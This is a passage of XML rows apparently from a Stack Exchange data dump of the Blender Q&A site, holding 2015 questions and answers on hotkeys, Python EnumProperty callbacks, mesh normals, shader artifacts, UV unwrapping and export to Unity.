  <row Id="35056" PostTypeId="1" CreationDate="2015-08-04T04:32:00.037" Score="1" ViewCount="144" Body="&lt;p&gt;I'm watching a video which appears to be quite old: &lt;a href=&quot;http://www.cgmeetup.net/home/uv-unwrapping-and-texture-painting-in-blender-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://www.cgmeetup.net/home/uv-unwrapping-and-texture-painting-in-blender-tutorial/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to know is what the hotkeys he's using do, and what are they mapped to now. Hotkeys such as &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;, and that's all I can think of right now.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried using some of these hotkeys or pulling up a menu with one on the menu, they didn't seem to work. Perhaps they don't work with the current version of blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: I am using Blender 2.72b. Internet connection where I am is slow ATM so I can't just download the latest.&lt;/p&gt;&#xA;" OwnerUserId="13494" LastEditorUserId="2217" LastEditDate="2015-08-04T13:06:11.233" LastActivityDate="2015-08-04T14:55:11.497" Title="What are the hotkeys used in this video in Blender 2.69.1?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35057" PostTypeId="2" ParentId="35053" CreationDate="2015-08-04T05:35:00.177" Score="5" Body="&lt;p&gt;Use the update argument of the EnumProperty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def maskIt(self, context):&#xA;    print('called and changed to,', context.scene.MyEnum)&#xA;&#xA;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the scene context of the properties editor&quot;&quot;&quot;&#xA;    bl_label = &quot;Layout Demo&quot;&#xA;    bl_idname = &quot;SCENE_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        layout.prop(scene, &quot;MyEnum&quot;)&#xA;&#xA;def register():&#xA;    bpy.types.Scene.MyEnum = bpy.props.EnumProperty(&#xA;        items = [('Group 1', 'Group 1', 'Group 1',1), &#xA;                 ('Group 2', 'Group 2', 'Group 2',2),&#xA;                 ('Group 3', 'Group 3', 'Group 3',3)],&#xA;        name = &quot;Mask the MESH&quot;,&#xA;        default = 'Group 1',&#xA;        update = maskIt)&#xA;&#xA;    bpy.utils.register_class(LayoutDemoPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LayoutDemoPanel)&#xA;    del bpy.types.Scene.MyEnum&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-04T19:45:33.427" LastActivityDate="2015-08-04T19:45:33.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35059" PostTypeId="1" AcceptedAnswerId="35063" CreationDate="2015-08-04T06:01:24.240" Score="2" ViewCount="1346" Body="&lt;p&gt;After I created a model then export it.In other programs such as Iclone 6 or Substance painter.The Object loads up inverted or with Backing Culling set.But the thing is i did not check the box in blender under the shader tab to set Back Cull on the model.While working on the object in blender its ok but after a export to another program its inverted.How to i fix this exporting problem.Also if i export it to Maya 2013 it also looks ok. &lt;/p&gt;&#xA;" OwnerUserId="16134" LastEditorUserId="47" LastEditDate="2015-08-04T10:59:38.370" LastActivityDate="2015-08-05T06:51:11.583" Title="Auto Back Culling on export" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35060" PostTypeId="2" ParentId="35056" CreationDate="2015-08-04T06:06:00.963" Score="3" Body="&lt;p&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; in object mode with an object selected you can apply the location, rotation, scale. &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt; in object mode with at least two objects selected will  join the objects to one object &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; in edit with some vertices or edges or faces selected mode gives a vertices menu &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; in edit mode with 4 edges selected fills it with a face (beauty fill).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hotkeys are the same for version 2.62 and 2.75 so i guess they are the some for 2.72b&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-04T14:55:11.497" LastActivityDate="2015-08-04T14:55:11.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35061" PostTypeId="1" AcceptedAnswerId="35066" CreationDate="2015-08-04T06:19:52.490" Score="5" ViewCount="1067" Body="&lt;p&gt;Before, checking the &quot;Lock to Cursor&quot; option in the &quot;View&quot; tab, permanently locked my 3D-view to the cursor, meaning wherever I clicked, the view would automatically center to and rotate around.&#xA;Since I updated to 2.75 though, this doesn't work anymore. Now, when I check &quot;Lock to Cursor&quot;, all it does is use the cursor as a pivot point. The 3D-view rotates around the cursor, but it the view doesn't center to the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes editing pretty frustrating, since i always used to navigate the 3D-view like that. every effort to find some option in the user preferences was unsuccessful.&lt;/p&gt;&#xA;" OwnerUserId="16136" LastEditorUserId="599" LastEditDate="2015-08-04T08:08:51.163" LastActivityDate="2016-01-29T18:52:08.777" Title="Lock to Cursor no longer centers view automatically?" Tags="&lt;3d-view&gt;&lt;editing&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35063" PostTypeId="2" ParentId="35059" CreationDate="2015-08-04T06:53:01.160" Score="3" Body="&lt;p&gt;The backface culling settings in the viewport don't affect how the model is exported, their effect is limited to how the model is displayed in the viewport in Blender. The normal of a face can be used to decide if a face is drawn or not, faces pointing away from view can be skipped. I suspect that's what's happening in those programs which are displaying the model in an unexpected way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely you want to recalculate the normals of your model and make then all outward facing (in editmode, select all faces, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;), then save, then export. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are all pointing inwards, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to get the Faces menu, and select &lt;em&gt;Flip normals&lt;/em&gt;, then save, then export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh display panel has an option to show you the normals (here  displayed as light blue lines, the size of which is defined in the Size slider):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7LLms.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LLms.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-05T06:51:11.583" LastActivityDate="2015-08-05T06:51:11.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35064" PostTypeId="1" CreationDate="2015-08-04T07:30:29.623" Score="3" ViewCount="947" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=SBs8rjlUbwI&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=SBs8rjlUbwI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This video basically goes over how I've rigged this model's eyes. It goes over the constraints used, and how things are parented. The problem I am having isn't apparent until I rotate the head. When I rotate the head, the eyes start to not properly track to the eye controllers I have set up. Obviously, the way I have the eyes rigged with the lattices are part of the problem, but I haven't figured out a proper solution yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file plus the eye texture if anyone wants to have a closer look at the rig.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/jknki5xbbuf7l1x/eevee.zip?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/jknki5xbbuf7l1x/eevee.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Animating UVs won't be an ideal solution. I'll eventually be adding geometric detail to the eyes, which wouldn't be able to animate with the UVs.&lt;/p&gt;&#xA;" OwnerUserId="16137" LastEditorUserId="16137" LastEditDate="2015-08-05T22:47:53.987" LastActivityDate="2016-09-28T03:19:59.787" Title="Using Lattices to create non-spherical eyes cause problems when rigging the eyes for tracking. What can I do to fix it?" Tags="&lt;modifiers&gt;&lt;rigging&gt;&lt;armature&gt;&lt;constraints&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35065" PostTypeId="1" AcceptedAnswerId="35068" CreationDate="2015-08-04T08:05:05.023" Score="6" ViewCount="361" Body="&lt;p&gt;I am experiencing artifacts in cycles like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zIwrr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIwrr.png&quot; alt=&quot;Viewport screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unusual thing is that the shapes displayed here do not exist in my geometry. There are no overlapping faces, the object has no depth, its shader is mix of anisotropic and transparent, explode modifier is applied to it, but this happens before the object explodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/8yzyltcw1dxdmu6/extract.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3129" LastEditorUserId="9" LastEditDate="2015-08-04T11:24:03.597" LastActivityDate="2015-08-04T11:28:09.570" Title="Artifacts with Anisotropic Shader" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35066" PostTypeId="2" ParentId="35061" CreationDate="2015-08-04T08:07:20.013" Score="5" Body="&lt;p&gt;This was changed in &lt;a href=&quot;https://developer.blender.org/rBc5748f3cc7551c0ded385a782312bd8171818839&quot;&gt;this commit&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The view would jump each time, now compensate by adjusting the cursor panning.&#xA;  Less jarring and helps avoid problems when the cursor gets outside the view, see: &lt;a href=&quot;https://developer.blender.org/T40353&quot;&gt;T40353&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now you can center the view on the cursor with &lt;kbd&gt;Home&lt;/kbd&gt; while &lt;em&gt;Lock to Cursor&lt;/em&gt; is enabled, or &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Home&lt;/kbd&gt; when it's not.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T40353&quot;&gt;There&lt;/a&gt; are &lt;a href=&quot;https://developer.blender.org/T45301&quot;&gt;several&lt;/a&gt; bug &lt;a href=&quot;https://developer.blender.org/T45313&quot;&gt;reports&lt;/a&gt; from users who appear to have missed this functionality, so perhaps if you send a message to the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Contact#Requesting_Features&quot;&gt;bf-funboard&lt;/a&gt; with an explanation why and how the old behavior was more useful than the new behavior, the developers may decide to add it back in some form.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-04T08:07:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35067" PostTypeId="2" ParentId="5580" CreationDate="2015-08-04T10:45:51.483" Score="0" Body="&lt;p&gt;Try to apply modifiers on your obstacle, especially Solidify. Fluid seems to leak when the obstacle's geometry has to be computed on-the-fly.&lt;/p&gt;&#xA;" OwnerUserId="11430" LastEditorUserId="241" LastEditDate="2015-08-04T12:43:43.843" LastActivityDate="2015-08-04T12:43:43.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35068" PostTypeId="2" ParentId="35065" CreationDate="2015-08-04T11:28:09.570" Score="10" Body="&lt;p&gt;The Anisotropic shader works using a &lt;strong&gt;Tangent&lt;/strong&gt; to control in which direction the reflections get squashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't specifically tell it which tangent to use, it'll compute a &lt;strong&gt;tangent from the geometry&lt;/strong&gt; itself. I assume because your model is perfectly flat, it had a bit of trouble doing this predictably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead, &lt;strong&gt;pick one of your UV maps&lt;/strong&gt; and plug that into the Anisotropic shader's Tangent input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9rPrl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rPrl.png&quot; alt=&quot;noods&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason those artifacts appeared to come from geometry that doesn't exist is because you're using an Explode Modifier that modifies the mesh.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-08-04T11:28:09.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35069" PostTypeId="1" CreationDate="2015-08-04T12:19:55.843" Score="2" ViewCount="75" Body="&lt;p&gt;I was trying to make a patio with support beams, I started with a cube for the house. I extruded the front bottom edge to become the patio surface. Then I wanted to create evenly spaced squares along the front edge to become the beams. Is there a better way to do this? I wanted to create a 4x4 square at the vertex of the patio, then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, grab, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; repeat it across the patio&lt;/p&gt;&#xA;" OwnerUserId="16033" LastEditorUserId="241" LastEditDate="2015-08-04T12:25:00.233" LastActivityDate="2015-08-04T12:25:00.233" Title="trying to make a patio with support beams" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35070" PostTypeId="1" AcceptedAnswerId="35073" CreationDate="2015-08-04T12:29:08.847" Score="4" ViewCount="4041" Body="&lt;p&gt;I want to set sub surf value by reading number from the Enum Property&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i do that ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;def SubSurfSet(self, context):&#xA;    print(self.value)&#xA;    #bpy.context.object.modifiers[&quot;Subsurf&quot;].render_levels = 2&#xA;&#xA;bpy.types.PoseBone.SubSurfEnum = bpy.props.EnumProperty(&#xA;            #(identifier, name, description, icon, number)&#xA;    items = [('None','No Smooth','','',0), &#xA;             ('Smooth','Smooth','','',1),&#xA;             ('Smoother','Smoother','','',2),&#xA;             ('Smoothest','Smoothest','','',4)],&#xA;    name = &quot;Mask the MESH&quot;,&#xA;    default = 'None',&#xA;    update = SubSurfSet)&#xA;&#xA;bpy.data.objects[&quot;Frog rig&quot;].pose.bones[&quot;root.dummy&quot;].SubSurfEnum = 'None'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastEditorUserId="1363" LastEditDate="2015-08-05T21:35:42.287" LastActivityDate="2019-03-18T20:57:56.763" Title="How to access number in Enum Property?" Tags="&lt;scripting&gt;&lt;rigging&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35071" PostTypeId="1" AcceptedAnswerId="35074" CreationDate="2015-08-04T12:34:48.430" Score="4" ViewCount="1236" Body="&lt;p&gt;I'm having a problem with the 3D manipulator in Blender when I look at an object from the top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D manipulator is not following the rotation of the object, instead the red and green arrows are going diagonally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see attached picture. Can I change it so that arrows match the object's rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PjlBn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PjlBn.jpg&quot; alt=&quot;rotated manipulator widget in 3D view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16139" LastEditorUserId="2217" LastEditDate="2015-08-04T12:59:17.217" LastActivityDate="2015-08-04T13:08:50.090" Title="How to rotate the 3D manipulator to match object's rotation?" Tags="&lt;3d-view&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35072" PostTypeId="2" ParentId="35070" CreationDate="2015-08-04T12:36:01.980" Score="2" Body="&lt;p&gt;A simple way is to use a dict.. to map from the string value to an int&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def SubSurfSet(self, context):&#xA;    remap = dict(NoSmooth=0, Smooth=1, Smoother=2, Smoothest=4)&#xA;    val = remap.get(self.SubSurfEnum)&#xA;    bpy.context.object.modifiers[&quot;Subsurf&quot;].render_levels = val&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though, admittedly, this looks a little repetitive. Warning: I use 'NoSmooth' instead of 'None', to avoid confusion.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-04T12:43:22.737" LastActivityDate="2015-08-04T12:43:22.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35073" PostTypeId="2" ParentId="35070" CreationDate="2015-08-04T13:03:41.187" Score="7" Body="&lt;p&gt;What I would do is design the items of Enum property like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;items = [('0','No Smooth',''), &#xA;         ('1','Smooth',''),&#xA;         ('2','Smoother',''),&#xA;         ('4','Smoothest','')]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just need to cast it to int.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.modifiers[&quot;Subsurf&quot;].render_levels = int(self.SubSurfEnum )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you change this Enum property and the subsurf levels you don't have to change any dictionary.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-08-05T07:30:11.840" LastActivityDate="2015-08-05T07:30:11.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35074" PostTypeId="2" ParentId="35071" CreationDate="2015-08-04T13:08:50.090" Score="3" Body="&lt;p&gt;Make sure your Transform Orientation is set to Global&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dJsqD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dJsqD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-04T13:08:50.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35075" PostTypeId="1" CreationDate="2015-08-04T13:11:02.857" Score="1" ViewCount="300" Body="&lt;p&gt;I've got an parent object which I want to use as a particle and this object has children/other particle systems on it etc. However when I try it to use it as a particle system it only creates duplicates of the parent. How do I fix this? I do not want to join everything into a single mesh.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-08-04T13:11:02.857" Title="Using a particle with a bit more complex hierarchy?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35076" PostTypeId="1" AcceptedAnswerId="35089" CreationDate="2015-08-04T14:09:35.193" Score="0" ViewCount="1506" Body="&lt;p&gt;I'm trying to import a js file with morph targets into Blender(v2.65) using the three.js(r66) importer, but it seems that the importer plug-in is not working properly, because nothing is shown in the scene. I tried to convert the js into an obj file and then import it into Blender, but only the mesh was imported, the morph targets were not imported. Can someone help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS File: three.js/examples/models/skinned/UCS/umich_ucs.js&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="15368" LastEditDate="2015-08-04T15:29:45.403" LastActivityDate="2015-08-04T17:41:37.807" Title="How to import morph targets into Blender?" Tags="&lt;import&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="35077" PostTypeId="1" CreationDate="2015-08-04T14:27:32.973" Score="1" ViewCount="371" Body="&lt;p&gt;I'm having trouble with some distortion on my unwraps on the upper hull of the &lt;a href=&quot;https://en.wikipedia.org/wiki/CSS_Virginia&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSS Virginia&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I tried using top down orthographic unwraps of the mesh, but in those attempts (one meant for a tiling texture, the second for more traditional texturing) there is some obvious distortion (especially near the top of the hull. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also used unwraps with seams, but they don't seem to make any difference. I'm quite stuck as to how to resolve that distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bGL1.jpg&quot; alt=&quot;unwrap 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ydszr.jpg&quot; alt=&quot;uvs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ImMQ.jpg&quot; alt=&quot;unwrap 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JaaTH.jpg&quot; alt=&quot;uvs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16142" LastEditorUserId="32220" LastEditDate="2019-01-25T11:33:24.587" LastActivityDate="2019-01-25T11:33:24.587" Title="Trouble with Distortion on UV Map of CSS Virginia" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="35078" PostTypeId="2" ParentId="35049" CreationDate="2015-08-04T15:31:15.997" Score="1" Body="&lt;p&gt;If this is the terrain we're talking about, 120k is probably a good number, seeing as the base reqs for a computer are 1,000,000 verts (without any other things, textures, filters, light). That mean most computers can handle vertex counts of up to 1mil. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I can see is in the fact that this is a terrain, and not a character, you said only 1-2k verts would be seen at a time, but that doesn't matter if the terrain is one object; Blender will still render the entire object even if only 1 vertex is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what to fix then? Generally, terrains don't need this amount of detail (right now I'm making one, several acres, and its pushing 30k), so to start with, you may wan to break it down into more base elements to free up resources for other rendering jobs. If its a city landscape, separate the buildings into their own objects, and get some LOD going for props. You may also want to break the landscape into more manageable chunks an area that would normally be blocked by a hill could be separated into its own object so that it only need to be rendered when called for. You could also use occlude objects. these basically ensure that any object that is hidden behind another won't be rendered. It seems intuitive, but really, blender renders anything inside your cameras view arc and clipping range whether or not it's behind another object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a whole science behind game optimization, and youTube will probably be your best resource. &lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-04T15:31:15.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35079" PostTypeId="1" CreationDate="2015-08-04T15:32:16.343" Score="0" ViewCount="43" Body="&lt;p&gt;I have the following &lt;a href=&quot;http://www.pasteall.org/blend/37435&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use constraints to make the camera follow the cube(named &quot;logic bricks player&quot;). I tried copy location with offset to keep the camera at its height, but it did not work. Also just parenting the camera does not work cause it loses the rotation. Even when I tried to bypass it by pressing &quot;Keep transform&quot; the camera disappeared!?! (I know this cause I used plane to track it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is though, that the constraints worked in the 3d viewport but failed to work during gameplay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what I am doing wrong and I am new to the use of constraints in bge. So how do I fix my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(credits for the hand rig go to eGlyde from blendswap,it was his model)&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-04T15:32:16.343" Title="Problem with constraints-parenting in bge" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;camera&gt;&lt;constraints&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-04T16:03:13.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="35080" PostTypeId="1" AcceptedAnswerId="35133" CreationDate="2015-08-04T15:47:41.153" Score="0" ViewCount="976" Body="&lt;p&gt;I am attempting to export my Blender model to Unity but I'm having trouble retaining the view while in texture mode. The issue is that I actually haven't added a texture layer to the model (at least that I can tell), but it still looks much different when I switch modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on why my model would look different in texture mode (as opposed to solid or material mode) and what I could do to retain that appearance when exporting to Unity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached some screenshots to see the differences below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tJJn7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJJn7.png&quot; alt=&quot;Solid Mode&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dK3vy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dK3vy.png&quot; alt=&quot;Material Mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wjQRj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjQRj.png&quot; alt=&quot;Texture mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16144" LastEditorUserId="2217" LastEditDate="2015-08-04T17:02:36.393" LastActivityDate="2015-08-05T15:21:40.070" Title="Keeping Texture Mode Appearance While Exporting to Unity" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35081" PostTypeId="2" ParentId="35080" CreationDate="2015-08-04T16:22:24.227" Score="0" Body="&lt;p&gt;Solid mode displays only the viewport color you have set in the materials tab unlike the material mode and texture mode, material mode is showing the light highlights unlike Solid mode and Texture mode.&#xA;When you will import your model to unity you will not see any textures as you have to manually apply them to your materials, just drag you textures to the albedo of the material or just drag the texture on to the object.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-04T16:22:24.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35083" PostTypeId="2" ParentId="35077" CreationDate="2015-08-04T17:02:34.940" Score="5" Body="&lt;p&gt;I think you should try to increase the level of &lt;em&gt;subdivisions&lt;/em&gt; of the &lt;strong&gt;&lt;em&gt;Subsurf Modifier&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7VA0w.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VA0w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be the matter of how you've unwrapped your mesh. I'll suggest you the way how to do it.&#xA;Add an edge as pictured below, select it and mark a seam (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;--&gt;&lt;em&gt;Mark Seam&lt;/em&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YfKoh.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YfKoh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwrap the mesh using &lt;strong&gt;&lt;em&gt;Follow 